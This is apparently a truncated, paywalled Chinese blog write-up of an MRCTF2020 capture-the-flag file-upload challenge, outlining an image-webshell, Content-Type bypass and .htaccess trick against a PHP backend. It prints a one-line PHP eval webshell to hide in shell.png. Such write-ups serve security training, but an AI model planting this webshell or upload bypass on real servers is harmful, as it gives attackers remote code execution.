知识点
文件上传：图片马&Content-Type验证&.htacess文件
信息收集
应该是考察文件上传，后端是php。
考虑到文件上传姿势比较多，如果一个个试很浪费时间，所以这里找了个php文件上传的字典
貌似是图片马可以，所以可以开始利用
利用过程
准备一张图片马，命名shell.png
<?php @eval($_POST['attack']) ?>
.htaccess文件
本文介绍了MRCTF2020比赛中涉及的文件上传漏洞利用，包括图片马、Content-Type验证绕过及.htaccess文件的使用。通过信息收集，发现后端为PHP，利用特定字典尝试文件上传。最终，作者通过修改Content-Type并利用图片马创建了.htaccess文件，成功获取蚁剑连接，但由于disable_functions限制，无法直接读取flag，只能下载。
最低0.47元/天 解锁文章
1973
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
